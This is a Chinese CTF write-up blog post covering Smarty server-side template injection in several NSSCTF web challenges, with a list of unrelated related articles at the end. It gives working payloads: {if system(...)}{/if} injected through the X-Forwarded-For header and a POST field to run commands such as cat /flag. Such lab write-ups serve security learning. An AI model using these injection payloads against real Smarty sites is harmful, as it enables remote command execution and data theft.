NSSCTF-Web题目14

2024-06-22 14:36
文章标签 题目 web 14 nssctf

本文主要是介绍NSSCTF-Web题目14,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel

1、题目

2、知识点

3、思路

[HDCTF 2023]SearchMaster

1、题目

2、知识点

3、思路


[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel

这两道题目一样

1、题目

2、知识点

SSTI(服务端模板注入漏洞)、smarty

SSTI(服务端模板注入漏洞)

原理:开发者使用模板进行开发,例如smarty,Django等,在开发过程中,没有将模板语句与数据进行分离,也就是前端的内容会传到服务器进行执行,所以导致攻击者可以利用开发模板的特性进行入侵,可以执行系统命令,Getshell等

smarty是PHP语言的一个开发模板,这个模板也存在很多漏洞,大家可以自行百度

不同开发模版的语法也不一样,那么怎么判断他们是属于哪一种呢?

可以参考下面这一张图

3、思路

打开题目,我们可以看到提示我们使用的是Smarty,跟XFF有关,我们可以在XFF构造payload

X-Forwarded-For:{php}phpinfo(){/php}

结果报错了,可能是版本的原因,查一下当前的smarty的版本

X-Forwarded-For:{$smarty.version}

当前版本是3.1.30,报错的原因是因为目前的版本应该弃用{php}{/php}这一标签了

但是还有一个{if}{/if}标签,这个{if}标签跟原来的php语言区别是每一个{if}后面都要有{/if}配成一对

X-Forwarded-For:{if phpinfo()}{/if}

结果正常回显,我们构造系统执行命令

X-Forwarded-For:{if system('cat /flag')}{/if}

得到flag:NSSCTF{a7574cb4-65a0-4447-873b-465b370e56a3}


[HDCTF 2023]SearchMaster

1、题目

2、知识点

这一题的知识点跟上面的一样,SSTI、Smarty

3、思路

打开题目,有个黄色按钮,跳转页面

但这个flag是错误的

另外提示要我们POST上传一个数据data,但没有明确告诉我们变量名是什么,我们猜一下变量名是data,但下一步怎么做呢?好像又无从下手

根据题目标签,跟SSTI、Smarty有关,我们测试一下

说明变量名为data,且为Smarty模板,这里测试的方法就是根据下面这张图的,不同模板的语法不一样

知道是Smarty,就好办了,

data={php}phpinfo();{/php}

{php}标签报错,那我们使用{if}标签

data={if phpinfo()}{/if}

正常执行,我们构造系统执行命令

data={if system('ls /')}{/if}

查看flag_13_searchmaster文件

data={if system('cat /flag_13_searchmaster')}{/if}

得到flag:NSSCTF{df69cb3b-f72e-4cb2-9da2-4e0b46cb4c73}


这篇文章就先记录到这里了,哪里不懂的或者哪里不好的欢迎指出

这篇关于NSSCTF-Web题目14的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1084564

相关文章

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

题目1254:N皇后问题

题目1254:N皇后问题 时间限制:1 秒 内存限制:128 兆 特殊判题:否 题目描述: N皇后问题,即在N*N的方格棋盘内放置了N个皇后,使得它们不相互攻击(即任意2个皇后不允许处在同一排,同一列,也不允许处在同一斜线上。因为皇后可以直走,横走和斜走如下图)。 你的任务是,对于给定的N,求出有多少种合法的放置方法。输出N皇后问题所有不同的摆放情况个数。 输入

题目1380:lucky number

题目1380:lucky number 时间限制:3 秒 内存限制:3 兆 特殊判题:否 提交:2839 解决:300 题目描述: 每个人有自己的lucky number,小A也一样。不过他的lucky number定义不一样。他认为一个序列中某些数出现的次数为n的话,都是他的lucky number。但是,现在这个序列很大,他无法快速找到所有lucky number。既然

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹